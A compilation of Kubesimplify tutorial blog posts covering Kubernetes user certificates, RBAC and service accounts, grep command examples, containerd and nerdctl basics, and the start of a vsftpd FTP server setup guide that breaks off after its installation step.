Though a normal user cannot be added via an API call, any user that presents a valid certificate (ex:- passport) signed by the cluster's certificate authority (CA) is considered authenticated. There is no username concept in the Kubernetes. In the configuration, Kubernetes determines the username from the **common name** field in the 'subject' of the cert (e.g., "/CN=Bob Killen"). From there, the role based access control (RBAC) sub-system would determine whether the user is authorized to perform a specific operation on a resource or not.

![Screenshot from 2022-11-25 12-45-48.png](/img/blog/kubernetes-access-control-with-authentication-authorization-admission-control/-yBDbywMS.png align="left")

### Service account

In contrast, service accounts are users managed by the Kubernetes API. Here, do not need the access control permission. They are bound to specific namespaces, and created automatically by the API server or manually through API calls. Each service account is associated with a secret, and each secret has a token. And that particular token is used for authentication.

### Authentication Methods :-

Authentication step use to happen before reaching the request to api-server. Kubernetes uses client certificates, bearer tokens, or an authenticating proxy to authenticate API requests through authentication plugins. 

As HTTP requests are made to the API server, plugins attempt to associate the following attributes with the request:

*   `Username`: a string which identifies the end user. Common values might be kube-admin or jane@example.com.
    
*   `UID`: a string which identifies the end user and attempts to be more consistent and unique than username.
    
*   `Groups`: a set of strings, each of which indicates the user's membership in a named logical collection of users. Common values might be system:masters or devops-team.
    
*   `Extra fields`: a map of strings to list of strings which holds additional information authorizers may find useful.
    

So, Username, UID, Groups, and extra fields all will be added before the request goes to the authorization stage after the authentication is passed.

A lot of authentication methods are there. You can use one of them to authenticate a user.

```elm
  1. X509 Client Certs
  2. Static Token File
  3. Service Account Tokens
  4. Bearer Tokens
  5. OpenID Connect Tokens
```

we will be using X509 client certificate for authentication in this blog. For minikube you will see initially only one user minikube itself (admin) is there in the **kubeconfig** file for your cluster, and we can add another user who can access the cluster & perform some action and to add that user we have to go through these three admission control processes.

#### What is kubeconfig file?

*   kubeconfig is a yaml file located in `~./kube/config` in your machine. This file will be available only after installing   
     minikube. This is the main file which actually helps any user/client to access Kubernetes cluster and all its 
     resources. 

      This file contains all the user & corresponding cluster list itself. There are three sections in this yaml file -       
      **clusters**, **contexts** & **users**. Just use this command in your terminal `nano ~/.kube/config` and you can 
      see that file. But make sure that your minikube cluster is running.
    

![kubeconfig.png](/img/blog/kubernetes-access-control-with-authentication-authorization-admission-control/X3aq6yE9t.png align="left")

### Authorization Methods :-

After successfully authenticating, that request will go to the authorization step. This authorization step actually happens in api-server. The Kubernetes API server may authorize a request using one of several authorization modes:-

*   `Node` - A special-purpose authorization mode that grants permissions to kubelets based on the pods they are scheduled to run.
    
*   `ABAC` - Attribute-based access control (ABAC) defines an access control paradigm whereby access rights are granted to users through the use of policies which combine attributes together. The policies can use any type of attributes (user attributes, resource attributes, object, environment attributes, etc.).
    
*   `Webhook` - A WebHook is an HTTP callback: an HTTP POST that occurs when something happens; a simple event-notification via HTTP POST. A web application implementing WebHooks will POST a message to a URL when certain things happen.
    
*   `RBAC` - Role-based access control (RBAC) is a method of regulating access to cluster or cluster resources based         
     on the roles of individual users within an enterprise. In this context, access is the ability of an individual user to 
     perform a specific task, such as view, create, or modify a file. RBAC works typically for **users** and **groups**. 

     Suppose, there are three users called marketing, dev, prod. And you have created 3 roles READ, WRITE, DELETE. 
     You have to bind these roles by another k8s object called **RoleBinding** to the specific user. By those bound 
     role, they can perform the particular action which is bound to them.
    
    Role and Role binding lives in a namespace level in Kubernetes. This means you could have a dev group who have 
    access to the development namespace where all the development microservices (in pods, container) live for a 
    development project. 

    Or you have a marketing namespace where all the marketing system live & marketing users have access to that namespace. Roles & Role bindings will give those users access to that namespace because roles & role bindings lives in a namespace level. Also, to provide cluster level permissions meaning to all namespace to a user, you will have to use **ClusterRole** & **ClusterRoleBinding**. **\[** *use these two carefully as it is giving whole cluster permission* **\]**RBAC uses the `rbac.authorization.k8s.io` API group to drive authorization decisions, allowing admins to dynamically configure permission policies through the Kubernetes API.
    

### Let's try with Hands-on

> we will first authenticate a user named bob and then will give the authorization using RBAC

#### Authentication steps :-

*   At first, make sure that your minikube cluster is running & kubectl is installed. Check with this command `minikube status`.
    

![Screenshot from 2022-11-25 20-40-32.png](/img/blog/kubernetes-access-control-with-authentication-authorization-admission-control/F2WnhUvKb.png align="left")

```bash
#make a folder named RBAC 
mkdir RBAC 
cd RBAC 
# now install OpenSSL which will be used to generate key and cert (search on internet to get install command a/q your OS)
```

Now we will use `ca.crt` & `ca.key` of minikube which already exist in `~/.minikube` folder. These two will be used to generate a certificate for user `Bob Killen` we are going to create in a moment. So copy these two files in your RBAC folder or whatever you gave your folder name.

#### User Certificates:-

First thing we need to do is create a certificate signed by our minikube CA (Certificate Authority). We have the CA, (`ca.crt` `ca.key`) Let's create a certificate for user Bob Killen:

```bash
#start with a private key (use this command)
openssl genrsa -out bob.key 2048
```

So `bob.key` is generated. Now we have a key, we need a **certificate signing request** (CSR) which will be used to sign the cert for Bob using minikube CA. We also need to specify the groups that Bob belongs to. Let's pretend Bob is part of the Marketing group and will be developing applications for the Marketing.

```bash
# here we are requesting a csr by -output bob.csr and common name Bob Killen
openssl req -new -key bob.key -out bob.csr -subj "/CN=Bob Killen/O=Marketing"
```

Now `bob.csr` is generated in your RBAC folder. We will use this CSR to create a certificate named `bob.crt`. Use the minikube CA (which you copied `ca.crt` `ca.key`) to generate our certificate by signing our CSR. We may set an expiry on our certificate as well.

```bash
openssl x509 -req -in bob.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out bob.crt -days 10
```

Here you can see we are using x509 client cert and passing `bob.csr` & also using `ca.crt` & `ca.key` as Certificate Authority (CA) to sign the CSR. And getting the output as `bob.crt` and expiry of this cert is 10 days. This is the main certificate which will be used for authentication.

Now we also have `⁣bob.crt` along with `bob.key`. We will use this two to add user Bob in our `~/.kube/config` file. We'll be trying to avoid messing with our current Kubernetes config. So let's tell kubectl to look at a new config that does not yet exist. Don't forget to run this command :

```bash
export KUBECONFIG=~/.kube/new-config
```

We are pointing KUBECONFIG environment variable from `~/.kube/config` to `~/.kube/new-config`. Otherwise, Bob user will be added in your main kubeconfig file which will be a little bit messed up.

*   Create a cluster entry which points to the cluster and contains the details of the CA certificate. Don't forget to copy api-server address from your `~/.kube/config` file. Ex:- `https://127.0.0.1:42323`. It can be changed at any time, so keep your eye open to this address at `~/.kube/config` file and change it in `~/.kube/new-config` otherwise you will get this type of error below
    

> The connection to the server 127.0.0.1:42323 was refused - did you specify the right host or port?

```bash
kubectl config set-cluster dev-cluster --server=https://127.0.0.1:42323 \
--certificate-authority=ca.crt \
--embed-certs=true

#see changes that dev-cluster is added in cluster list
nano ~/.kube/new-config
```

Here we are adding a new cluster named **dev-cluster** in your new kubeconfig file & also using the same `ca.crt` because this `ca.crt` is certificate of minikube cluster, and we are referencing this to get signed by its CA provided already.

![Untitled-2022-11-18-1214.png](/img/blog/kubernetes-access-control-with-authentication-authorization-admission-control/ckScZeQVD.png align="left")

*   Now add the user bob in the users section of your kube/new-config file
    

```bash
kubectl config set-credentials bob --client-certificate=bob.crt --client-key=bob.key --embed-certs=true
```

![Untitled-2022-11-18-1214.png](/img/blog/kubernetes-access-control-with-authentication-authorization-admission-control/DUZVqP9sy.png align="left")

*   Now we will add context section into kube/new-config file. This context section is the important section which helps to connect a user with the cluster added in the list (dev-cluster with user bob).
    

```bash
kubectl config set-context dev --cluster=dev-cluster --namespace=marketing --user=bob
```

Here we are setting the namespace marketing as default in dev-cluster and user bob can access this namespace. We have set the context as named `dev` context. you can switch cluster by changing this current context. As in your kube/new-config, only one context is present named "dev", so you can't switch to another context.

*   Now just use this command, and you will be switched into your dev-cluster and context named `dev` & namespace is marketing
    

```bash
kubectl config use-context dev
```

*   Now your user authentication is successfully completed. Now bob can only access the dev-cluster not its resources like pods, deployment, service or whatever object in marketing namespace. If you run the command :
    

```bash
# command
kubectl get pods

# output
Error from server (Forbidden): pods is forbidden: User "Bob Killen" cannot list resource "pods" in API group "" in the namespace "marketing"
```

To access those objects, you have to authorize the user bob. We will use RBAC authorization here and will create a role and bind that role to user bob so that bob can access the resources of dev-cluster.

#### Authorization steps :-

*   Now go back to your minikube cluster from dev-cluster by this command :
    

```bash
export KUBECONFIG=~/.kube/config
```

As `~/.kube/config` file is for minikube cluster, so changing env variable to pointing `config` not `new-config`. Now in your minikube cluster create a namespace named **marketing** and Bob will access this namespace from dev-cluster.

```bash
kubectl create namespace marketing
```

Now in the marketing namespace we will create a role and bind that role by RoleBinding so that user bob can access the resources like pod, deployment etc.

*   Create the role by this `role.yaml` file
    

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: marketing
  name: manage-pods
rules:
- apiGroups: [""]
  resources: ["pods", "pods/exec"]
  verbs: ["get", "watch", "list", "create", "delete"]
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "watch", "list", "delete", "create"]
```

Here we are using `rbac.authorization.k8s.io/v1` apigroup and kind is Role & namespace: marketing & role-name is manage-pods. We are defining some rules to access the resources. From this above error

> # output
> Error from server (Forbidden): pods is forbidden: User "Bob Killen" cannot list resource "pods" in API group  ""  in the namespace "marketing"

So to access pods it is telling that we should use "pods" in the resources list you can see in the yaml file we are using & also for pod apiGroup is "" which also are using. Also, we are using some verbs you can see which is the actual verbal command we will use like `kubectl get pods`. Actually `kubectl get pods` this command use **list** verb that's we have added list in the verbs array. Likewise, for deployment apiGroups "apps" is used and some verbs also added. So you can add more rules like this to access another resources like nodes, secret, service, namespace. For this, you have to write these 3 lines under rules section in your `role.yaml` for each resource.

*   Now create a `rolebinding.yaml` will be used to bind the `role.yaml`
    

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: manage-pods
  namespace: marketing
subjects:
- kind: User
  name: "Bob Killen"
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: manage-pods
  apiGroup: rbac.authorization.k8s.io
```

Here kind is RoleBinding and in the metadata section, role binding name is `manage-pods`. In the subjects section you can see we are binding Role by roleRef section to the User Bob Killen and this name is exactly what we have set in `/CN=Bob Killen`. As I mentioned before that no username concept is there in k8s. Username always fetched from the common name from your provided certificate (`bob.crt`) for user, ex:- bob.

*   Now apply your `role.yaml` & `rolebinding.yaml` file to marketing namespace
    
    ```bash
     kubectl -n marketing apply -f role.yaml
     kubectl -n marketing apply -f rolebinding.yaml
    ```
    

Now check that whether role & role binding has been successfully created or not by this command:

```bash
kubectl get role
kubectl get rolebinding
```

You will see `manage-pods` is there. Now we have successfully bounded the role to user bob. So go back to your dev-cluster and try to access the resources pods, deployment, as we did not mention more than these two in `role.yaml`. Go to the dev-cluster by again changing KUBECONFIG env var pointer

```bash
export KUBECONFIG=~/.kube/new-config
```

Now you are on your dev-cluster. Test this command :

```bash
kubectl get pods
```

You will see this because you haven't created any pod in your marketing namespace in dev-cluster.

> No resources found in marketing namespace.

Now you can create, delete, list your pods, and also you can exec your container running inside your pod as we have added `pods/exec` in the verbs array in `role.yaml`. So create a pod -

```bash
kubectl run nginx --image=nginx
```

```bash
kubectl get pods
```

Wohoo! Your pod is running, and user bob has been successfully authenticated & authorized 🎉

### Admission Controllers :-

An admission controller is a piece of code that intercepts requests to the Kubernetes API server prior to persistence of the object, but after the request is successfully authenticated and authorized. And it is the last checking like customs checking. Admission controllers may be `validating`, `mutating`, or both. Mutating controllers may modify related objects to the requests they admit; validating controllers may not.

There are two special controllers: `MutatingAdmissionWebhook` and `ValidatingAdmissionWebhook`. These execute the mutating and validating (respectively) admission control webhooks which are configured in the API.

*   The admission control process proceeds in two phases. In the first phase, mutating admission controllers are run. In the second phase, validating admission controllers are run. Note again that some of the controllers are both.
    
    If any of the controllers in either phase reject the request, the entire request is rejected immediately and an error is returned to the end-user. So if your request successfully passed the admission control process, you can access any resources what you want. One thing is that you can enable or disable this admission controller checking in your command by passing `--enable-admission-plugins` & `--disable-admission-plugins`.
    

So these are the three steps to reach to k8s api-server successfully!!

### Kubernetes Service Accounts

So we've seen how to give permission to users, but what about applications or services running in our cluster ? Most business apps will not need to connect to the Kubernetes API unless you are building something that integrates with your cluster, like a CI/CD tool, an autoscaler or a custom webhook.

Generally, applications (not human user) will use a service account to connect with your cluster.

Let's deploy a service account → Go to your minikube cluster by changing KUBECONFIG env var. At first create a `serviceaccount.yaml` file

```yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: marketing-api
```

Name of the service account is marketing-api. Then apply your `serviceaccount.yaml` in marketing namespace.

```bash
kubectl -n marketing apply -f serviceaccount.yaml
```

Now we can deploy a pod that uses the service account. So create `pod.yaml` first

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: shopping-api
spec:
  containers:
  - image: nginx
    name: shopping-api
  serviceAccountName: marketing-api
```

Here pod name is `shopping-api` but we are using recently created serviceAccount named `marketing-api`. Assume that this pod is the actual application which is using the service account created recently, and suppose this application (shopping-api pod) is actually trying to get the all pod list in the marketing namespace. Like bob (human user) was trying to get all the pod list in marketing namespace but failed for the first time because we didn't create any role or role binding at that time for bob. **Don't be confused with application and pod, we are using shopping-api pod as an application which is not a human user and this application could be anything which wants permission from cluster**.

Then apply the `pod.yaml` in marketing namespace. Note:- We are still on minikube cluster

```bash
kubectl -n marketing apply -f pod.yaml
```

Now let's go inside the running `shopping-api` pod by this command:

```bash
kubectl -n marketing exec -it shopping-api -- bash
```

Then run this command :

```bash
ls -l /var/run/secrets/kubernetes.io/serviceaccount
```

![Untitled-2022-11-18-1214.png](/img/blog/kubernetes-access-control-with-authentication-authorization-admission-control/Q2UVp3b1S.png align="left")

Now suppose shopping-api pod is trying to get all the pod's list. So firstly we have to set all the necessary variable by fetching all the three values from service account which is namespace, token, ca.crt. Follow this below and run these commands :

```bash
# Point to the internal API server hostname
APISERVER=https://kubernetes.default.svc

# Path to ServiceAccount token
SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

# Read this Pod's namespace
NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)

# Read the ServiceAccount bearer token
TOKEN=$(cat ${SERVICEACCOUNT}/token)

# Reference the internal certificate authority (CA)
CACERT=${SERVICEACCOUNT}/ca.crt

# List pods through the API
# Here we are using all the above set variable to get the list of pods by the shopping-api application (pod)
curl --cacert ${CACERT} --header "Authorization: Bearer $TOKEN" -s ${APISERVER}/api/v1/namespaces/marketing/pods/ 

# we should see an error not having access
```

![Untitled-2022-11-18-1214.excalidraw.png](/img/blog/kubernetes-access-control-with-authentication-authorization-admission-control/jZgMrgzJZ.png align="left")

This error is coming because we haven't created any role or rolebinding for the serviceaccount yet. So we will create `serviceaccount-role.yaml` and `serviceaccount-rolebinding.yaml` in the minikube cluster so that shopping-api pod/application can get the permission from cluster-admin. *So again go back to minikube cluster*

Let's create `serviceaccount-role.yaml`

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: marketing
  name: shopping-api-role
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]
```

Then create `serviceaccount-rolebinding.yaml`

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: shopping-api
  namespace: marketing
subjects:
- kind: ServiceAccount
  name: marketing-api
roleRef:
  kind: Role
  name: shopping-api-role
  apiGroup: rbac.authorization.k8s.io
```

Here we are just changing the kind: from user to ServiceAcount as we are binding this for serviceaccount. Now apply those two yaml file in your minikube cluster.

```bash
kubectl -n marketing apply -f serviceaccount-role.yaml
kubectl -n marketing apply -f serviceaccount-rolebinding.yaml
```

Now go to your dev-cluster and exec to your shopping-api application/pod by same command above and then set all the variable again which we did set before like APISERVER, SERVICEACCOUNT, TOKEN etc. Then again run this command:

```bash
curl --cacert ${CACERT} --header "Authorization: Bearer $TOKEN" -s ${APISERVER}/api/v1/namespaces/marketing/pods/
```

![Untitled-2022-11-18-1214.png](/img/blog/kubernetes-access-control-with-authentication-authorization-admission-control/jlW3QXnC4.png align="left")

Now your application will successfully get the pod list as we have set role and role binding!! So we have seen how a user can get cluster permission by admission control and how an application (not human user) can get cluster permission via service account.

So, I hope this blog helped you to understand how access control works for a user and how service account works for applications in Kubernetes cluster.

**Thanks for reading** !!💖

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# 12 Practical Grep Command Examples In Linux

- Canonical: https://blog.kubesimplify.com/12-practical-grep-command-examples-in-linux
- Published: 2022-12-06
- Summary: In Linux command line, the grep command is a powerful tool for searching text within files.

In Linux command line, the grep command is a powerful tool for searching text within files.

In this article, I will go over 12 examples of grep command usage that every Linux user, sysadmin, and developer should be aware of.

## What it is the Grep command on Linux?

If you're wondering what grep stands for, it stands for global regular expression print. You can use grep to search through files, or use it in conjunction with pipes or other commands to filter the output of another command. You'll find the grep command very useful in your day-to-day work as a sysadmin or Linux user once you've mastered it.

The syntax of the grep command is very simple:

```
$ grep [OPTION...] PATTERNS [FILE...]
``` 

In this article, I will use a file called 'linuxquotes.txt' to demonstrate how to use the commands. If you want to follow along, you can find the contents of the file [here](https://pastebin.com/tJTsJvgn) :


![1-grep-file-contents.png](/img/blog/12-practical-grep-command-examples-in-linux/6cgWKXVJX.png align="left")

## Grep command examples

Now that you know what grep is, let's look at some examples.

### 1. Finding all occurrences of a string in the given file.

In this example, we tell grep to look for the word "Linux" and provide the file to look into as an argument. If the string you want to search contains spaces, you must surround it with quotes:

```
┌──(traw㉿kali)-[~/articles]
└─$ grep "Linux" linuxqoutes.txt
``` 

![2-example-1.png](/img/blog/12-practical-grep-command-examples-in-linux/4hBziw5OM.png align="left")

### 2. Finding all occurrences of a string in multiple files.

We can also instruct grep to search multiple files for a specific string. The following example demonstrates this clearly:

```
┌──(traw㉿kali)-[~/articles]
└─$ grep "Linux" linuxqoutes.txt learnlinux.txt 
``` 
![3-grep-example-3.png](/img/blog/12-practical-grep-command-examples-in-linux/IPAk6lk1x.png align="left")

Notice, the grep command does a good job of specifying the file in which it finds a specific match. This is why the grep command is so useful for searching for strings in files.

### 3. Filtering or Searching output of another command

Grep can, as previously stated, be used to filter or search the output of another command. This is made possible by making use of the command line chaining operator pipe (|).

```
┌──(traw㉿kali)-[~/articles]
└─$ head -n 12 linuxqoutes.txt | grep "Linux"
```

![4-grep-example-4.png](/img/blog/12-practical-grep-command-examples-in-linux/MgPgosrDq.png align="left")

### 4. Display Line Numbers Containing Matches  

Using the -n option in conjunction with grep, it will display the line numbers containing matches as well as their respective matches:

```
┌──(traw㉿kali)-[~/articles]
└─$ grep -n "Linux" linuxqoutes.txt
``` 

![5-grep-example-5.png](/img/blog/12-practical-grep-command-examples-in-linux/DoJs3AvXg.png align="left")

### 5. Making grep search case insensitive

Grep search is case sensitive by default. If you want the search to be  case insensitive you can use -i option.

```
┌──(traw㉿kali)-[~/articles]
└─$ grep -i "LINUX" linuxqoutes.txt
```

![6-grep-example-6.png](/img/blog/12-practical-grep-command-examples-in-linux/m4r4muvtU.png align="left")

In the preceding example, we searched for the word "LINUX" and grep returns the words Linux and LINUX as matching.

### 6. Using regular expressions with grep

The search string can be a regular expression, which makes grep quite strong. However, I will not go into detail on how to use regexp with grep in this article.

The following example will search for lines which contains any digits from 0 up to 9.

```
┌──(traw㉿kali)-[~/articles]
└─$ grep "[0-9]" linuxqoutes.txt
```

![7-grep-example-7.png](/img/blog/12-practical-grep-command-examples-in-linux/0NaNkw8dm.png align="left")

You can boost the power of your search by employing a regex pattern. There are special grep options that allow you to use a regex pattern.

- e - enables the use of regex patterns.
- E - enables the use of extended regex patterns.
- G - enables the use of basic regex patterns.
- P - enables the use of perl regex patterns.

Here, we used extended regular expressions to search for a word which starts with any characters (*) and ends with (sh). 


```
┌──(traw㉿kali)-[~/articles]
└─$ cut -d ":" -f 7 /etc/passwd | grep -E "*sh$"
```

![8-grep-example-8.png](/img/blog/12-practical-grep-command-examples-in-linux/_SAO2V_aB.png align="left")

Notice, if we don't use the "-E" option grep won't display anything, this shows that without the "-E" parameter grep command won't recognize the provided pattern.

### 7. Displaying all the lines that DO NOT match a given pattern.

Another thing you might find useful is to use the "-v" option to reverse the result, eliminating all the lines that match a specific search string:

Here we eliminated lines which do not contain the word "Linus Torvalds":

### 8. Combining grep options

Grep, like any other Linux command, can combine several options to perform multiple tasks at once. In this case, we combined the -v and -i options to instruct the grep command to be case-insensitive with the pattern and to only display lines that DON'T match that given pattern:

```
┌──(traw㉿kali)-[~/articles]
└─$ grep -vi "Linux" linuxqoutes.txt
```

![10-grep-example-10.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1669664894903/SQK8enLi2.png align="left")

### 9. Find Exact Match Words.

If you search for the phrase 'Lin,' grep will also return lines containing the words 'Linux' or 'Linus.' 


![11-grep-example-11.png](/img/blog/12-practical-grep-command-examples-in-linux/Hq0MaKfAE.png align="left")

Fortunately, grep has option "-w"  which allows it search and match the exact whole words only. In this case grep didn't find any match because the file "linuxqoutes.txt" doesn't contains the word "Lin".

```
┌──(traw㉿kali)-[~/articles]
└─$ grep -w "Lin" linuxqoutes.txt
```

![12-grep-example-12png.png](/img/blog/12-practical-grep-command-examples-in-linux/6XeiC8SrE.png align="left")

### 10. Searching in all files recursively

With the grep option "-r", you can execute a recursive search. It will look for the specified pattern in all files in the current directory and its sub-directories. Notice, I tacked "-i"  with "-r option" to make the search case insensitive:

```
┌──(traw㉿kali)-[~/articles]
└─$ grep -ir "linux"
```

![13-grep-example-13.png](/img/blog/12-practical-grep-command-examples-in-linux/ihBpH-dCI.png align="left")

### 11. Print only names of FILEs with matching lines

Grep displays the matching lines by default. If you only want to know which files contain the string, use the following grep options:

- r - recursively search every file in the current dir
- l - print only names of FILEs with matches
- i - this option is optional, I have added it since I want my search to be case-insensitive:

```
┌──(traw㉿kali)-[~/articles]
└─$ grep -irl "linux"
```

![14-grep-example-14.png](/img/blog/12-practical-grep-command-examples-in-linux/9fNLvZF7G.png align="left")

### 12. Print only names of FILEs with no matching lines

If you only want to know which files do contain the string, use the following command:

-r - recursively search every file in the current directory.
-L - print only names of FILEs without the matching lines.

```
┌──(traw㉿kali)-[~/articles]
└─$ grep -rL "Ubuntu" 
```

![15-grep-example-15.png](/img/blog/12-practical-grep-command-examples-in-linux/kLPBjYAHb.png align="left")

### Bonus

To help you remember grep commands while using Linux, I have made this cheatsheet. So feel free to [download](https://github.com/0xTRAW/Grep-Cheatsheet) and save it for quick reference.

![grep cheatsheet.png](/img/blog/12-practical-grep-command-examples-in-linux/WSwj1pE-L.png align="left")


## Conclusion

Those were some straightforward grep examples. If you read the man page for this command, you'll notice that it has a plethora of additional parameters and uses. This information should be sufficient to help you understand the Linux grep command and how to use it.

That's all! 
Thank you for getting this far. I hope you find this article useful. If you did found this article valuable: 

- Toss us a follow for more amazing articles on Linux, sysadmin and security 

And be sure to share with other Linux folks who you think it might be useful to them.

Like the blog? Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Introduction to CRI

- Canonical: https://blog.kubesimplify.com/introduction-to-cri
- Published: 2022-11-29

# Prerequisites
- Docker
- Kubernetes

# What is CRI?
The CRI is a plugin interface which enables the kubelet to use a wide variety of container runtimes, without having a need to recompile the cluster components.

## What is the Open container initiative (OCI)? 
The Open Container Initiative is an open governance structure for the express purpose of creating open industry standards around container formats and runtimes.

## Containerd
It is a CNCF Graduated project which is OCI Standard. Its is a container manager tool. All other container management tools make use of containerd to run containers Like Kubernetes, Docker, Nerdctl
![Image](https://raw.githubusercontent.com/containerd/containerd/main/docs/historical/design/architecture.png)

### Why learn it?
However, since it's the closest thing to the actual containerd API, it can serve as a great exploration means - by examining the available commands, you can get a rough idea of what containerd can and cannot do. You can also replace the other tools with containerd + nerdctl in your local environment. It is also used in kubernetes as default container runtime for debugging

## Nerdctl, Crictl, ctr
These are CLI tools for running and managing the containers being run by containerd
Among these ctr is pre shipped when containerd is installed, and you’ve to install crictl and nerdctl manually. 

# Local Setup

## Arkade
One of the best hassle-free way to install containerd along with nerdctl is to use arkade. If you’re hearing about arkade for the first time, checkout the blog here

%[https://blog.kubesimplify.com/arkade]

```sh
arkade system install containerd 
arkade get nerdctl 
arkade system install cni -p /usr/libexec/cni
```

## Package managers
The containerd.io packages in DEB and RPM formats are distributed by Docker (not by the containerd project). See the Docker documentation for how to set up apt-get or dnf to install containerd.io packages:

CentOS, Debian, Fedora, Ubuntu
The containerd.io package contains runc too, but does not contain CNI plugins.
```sh
sudo yum install -y containerd.io
Sudo apt install -y containerd.io
```

We need CNI (Container networking interface)
Installing CNI plugins
Download the cni-plugins-<OS>-<ARCH>-<VERSION>.tgz archive from [Tar File to download](https://github.com/containernetworking/plugins/releases), verify its sha256sum, and extract it under /opt/cni/bin

```sh
$ mkdir -p /opt/cni/bin
$ tar Cxzvf /opt/cni/bin cni-plugins-linux-amd64-<Version>.tgz
```

## Install Nerdctl via brew
```sh
$ brew install nerdctl
# do this when you need access to nerdctl in root user (Root install)
$ sudo cp -v /home/linuxbrew/.linuxbrew/bin/nerdctl /usr/local/bin/
$ sudo nerdctl version
```

# What are the options and why in `ctr`

```shell
ctr run <image-ref> <container-id>
```


# So all setup is done, let's go through some concepts

What is namespace, tasks in containerd terms

**Task** is the runtime state of the container.

**Namespace** in the context of containerd is the logical separation between tools which use containerd like docker has namespace of moby and nerdctl uses default.


> NOTE:  Instead of building images with ctr, you can import existing images built with docker build or other OCI-compatible software. Surprisingly, containerd doesn't provide out-of-the-box image building support. However, containerd itself is often used to build images by higher-level tools.

Start and stop container
```sh
# When pulling images, the fully-qualified reference seems to be required, so you cannot omit the registry or the tag part
$ ctr images pull docker.io/library/hello-world:latest
$ ctr run docker.io/library/hello-world:latest hello

Hello from Docker!
…..

$ ctr -namespace default container ls

$ ctr container rm hello
```


When you do ctr create container, then task are not automatically created


![Screenshot from 2022-09-04 09-03-26.png](/img/blog/introduction-to-cri/_79fNIXBO.png align="left")

When using ctr run task is created

![Screenshot from 2022-09-04 09-07-03.png](/img/blog/introduction-to-cri/i5AEBpKwV.png align="left")


Create Namespace
```sh
$ ctr ns create <name>

$ctr ns rm <name>
```

> ctr run command is actually a shortcut for ctr container create + ctr task start

Lets exec into a container which is running in detached mode


![Screenshot from 2022-09-04 09-15-12.png](/img/blog/introduction-to-cri/7a2KpaaXB.png align="left")

Now to stop the container

![Screenshot from 2022-09-04 09-21-30.png](/img/blog/introduction-to-cri/NRO326DOu.png align="left")


Got error
```sh
# first stop the task
ctr task kill nginx
ctr task ls
# will see that  the taks is now stopper state

ctr c rm nginx
```

Now you understand that it's not very practical to use ctr in day to day use only for debugging, so there is another alternative to docker cli which is nerdctl which is _almost_ compatible with most of the docker commands and is easy to use

# Translate docker learnings to `nerdctl`

Almost all the docker commands are there in nerdctl (Very flat learning curve) with some additional as namespace create and delete ….

If you want, you can also set an alias using the command `alias docker=nerdctl` and keep using the docker command, and it will use nerdctl under the hood. 

<!-- Some features docker doesn’t have but will be available -->

[Playground Link](https://killercoda.com/kranurag7/course/playgrounds/nerdctl)

[Some more resource](https://iximiuz.com/en/posts/containerd-command-line-clients/)
[Live stream on containerd and nerdctl](https://www.youtube.com/watch?v=3_jUWW2j_TI)

# Authors
- **Anurag**
- **Dipankar**

Like what you read? Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# How to setup your ftp server in Linux

- Canonical: https://blog.kubesimplify.com/how-to-setup-your-ftp-server-in-linux
- Published: 2022-11-21
- Summary: In this tutorial I'm going to show you how you can setup your own ftp server on linux.

In this tutorial I'm going to show you how you can setup your own ftp server on linux. But before we begin I'm going to give you a brief description of what ftp is.

## What is FTP(File Transfer Protocol)?

[FTP](https://en.wikipedia.org/wiki/File_Transfer_Protocol) is an acronym for File Transfer Protocol. As the name suggests, FTP is used to transfer files between computers on a network. You can use FTP to exchange files between computer accounts, transfer files between an account and a desktop computer, or access online software archives. Keep in mind, however, that many FTP sites are heavily used and require several attempts before connecting.

An FTP address looks a lot like an HTTP or website address, except it uses the prefix ***ftp://*** instead of ***http://***.

Typically, a computer with an ***FTP*** address is dedicated to receive an ***FTP*** connection and a computer dedicated to receive an FTP connection is referred to as an ***FTP*** *server* or ***FTP*** *site*.


### How to set it up

Now you know what ***FTP*** is, let’s begin a special adventure. We will make FTP server to share files with friends and family. I will use [vsftpd](https://security.appspot.com/vsftpd.html) for this purpose.

[VSFTPD](https://security.appspot.com/vsftpd.html) is an FTP server for Unix-like systems, including Linux. It is the default FTP server in the Ubuntu, CentOS, Fedora, NimbleX, Slackware and RHEL Linux distributions. In fact, the first two letters in VSFTPD, stand for “very secure”. The software was built around the vulnerabilities of the FTP protocol.

Nevertheless, you should always remember that there are better solutions for secure transfer and management of files such as ***SFTP*** (uses [OpenSSH](https://www.openssh.com/)). The FTP protocol is particularly useful for sharing **non-sensitive** data and is very reliable for that.

#### Step 1: Installing VSFTPD in Linux

You can quickly install VSFTPD on your Fedora/Red Hat/SUSE servers/pc by issuing the following command on your terminal

```
0xtraw@xtremepentest# dnf -y install vsftpd
```

If you are using Ubuntu/Debian-based distributions, you can install VSFTPD using this command:

```
0xtraw@xtremepentest# sudo apt-get install vsftpd
```

If you are using Arch-based distributions, try this command for installing VSFTPD.

```
0xtraw@xtremepentest# sudo pacman -S vsftpd
```

***That's basically it for the installation, now let's quickly jump into setting it up***

### Step 1: Installing VSFTPD on Linux

You can quickly install VSFTPD on your Fedora/Red Hat/SUSE servers through the command line interface with:

```
dnf -y install vsftpd
```

